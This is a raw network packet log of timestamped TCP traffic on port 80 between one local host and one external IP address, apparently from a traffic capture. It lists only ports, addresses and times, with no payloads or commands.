Dec 20, 2024 17:17:49.722660065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.722671986 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.722697020 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.723412991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.723427057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.723452091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.776213884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776282072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.776287079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776299000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776330948 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.776560068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776571989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776583910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776595116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.776602983 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.776623964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.777023077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777033091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777044058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777055979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777066946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777080059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.777122974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.777631044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777642012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777652979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777666092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777667999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.777678013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777688980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.777688980 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.777718067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.778395891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.778409004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.778419018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.778429031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.778436899 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.778461933 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.823645115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.845252991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845308065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845320940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845349073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.845599890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845612049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845640898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.845731020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845743895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845753908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.845772982 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.845798969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.846038103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846050024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846060991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846085072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.846374035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846406937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846410990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.846421003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846434116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.846457958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.847105026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847122908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847136021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847137928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.847147942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847160101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847172022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847181082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.847208023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.847938061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847951889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847963095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847975016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.847976923 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.848001957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.848316908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.848354101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.848356009 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.848366976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.848377943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.848402977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.901758909 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.908377886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908399105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908411980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908456087 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.908617973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908631086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908642054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908653021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.908653975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.908682108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909029007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909069061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909115076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909127951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909161091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909384966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909396887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909408092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909432888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909769058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909780979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909791946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909802914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909806013 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909816027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909828901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909832001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909841061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.909852028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.909889936 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.910532951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.910550117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.910561085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.910571098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.910583019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.910583019 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.910589933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.910619974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.911252975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.911264896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.911281109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.911292076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.911304951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.911317110 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.911324978 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.911325932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.911376953 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.912149906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912163973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912174940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912188053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912200928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.912234068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.912556887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912568092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912580013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912590981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912601948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912605047 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.912612915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.912625074 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.912656069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.913209915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.913222075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.913238049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.913256884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.913269043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.913270950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.913280010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.913294077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.913316011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.914025068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914042950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914053917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914064884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914077997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914088964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.914107084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.914658070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914670944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914681911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914694071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914696932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.914705992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914716005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.914717913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.914756060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.915441990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.915455103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.915465117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.915486097 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.915505886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.968287945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.968338013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.968350887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.968384027 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.968658924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.968669891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.968689919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.968693972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.968727112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.968971968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969074011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969085932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969110966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.969129086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969141960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969152927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969165087 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.969186068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.969679117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969691038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969728947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.969913006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969927073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.969964027 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.970158100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.970169067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.970187902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.970200062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.970206022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.970211029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.970237970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.011148930 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.037458897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037483931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037494898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037585974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.037714005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037727118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037755966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.037935019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037946939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.037975073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.038182974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038222075 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.038245916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038259029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038269997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038280964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038294077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.038314104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.038877010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038888931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.038928032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.039007902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039026976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039066076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.039371967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039378881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039391041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039402962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039414883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.039423943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.039450884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.040020943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040031910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040043116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040065050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.040091991 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.040252924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040271044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040311098 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.040558100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040570021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.040606022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.100153923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100223064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100234032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100267887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.100450993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100462914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100474119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100485086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100486994 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.100519896 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.100872040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.100909948 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.100928068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101063967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101103067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.101109982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101121902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101155043 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.101466894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101478100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101491928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101510048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.101824999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101835012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101845980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101859093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.101862907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.101882935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.102159977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102180004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102197886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.102435112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102442026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102472067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.102658033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102669954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102680922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102691889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102699995 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.102703094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.102706909 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.102741957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.103292942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103305101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103343964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.103491068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103509903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103526115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103538036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103539944 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.103549957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103560925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103571892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.103578091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.103600979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.104404926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.104415894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.104428053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.104439974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.104441881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.104449987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.104455948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.104475975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.104487896 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.105185986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105199099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105214119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105221033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105223894 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.105262041 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.105737925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105748892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105761051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105772972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.105779886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105792999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105801105 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.105803967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.105827093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.106475115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106487989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106498957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106511116 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.106511116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106534958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.106865883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106878042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106901884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106904030 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.106913090 CET	80	49809	185.215.113.16	192.168.2.6
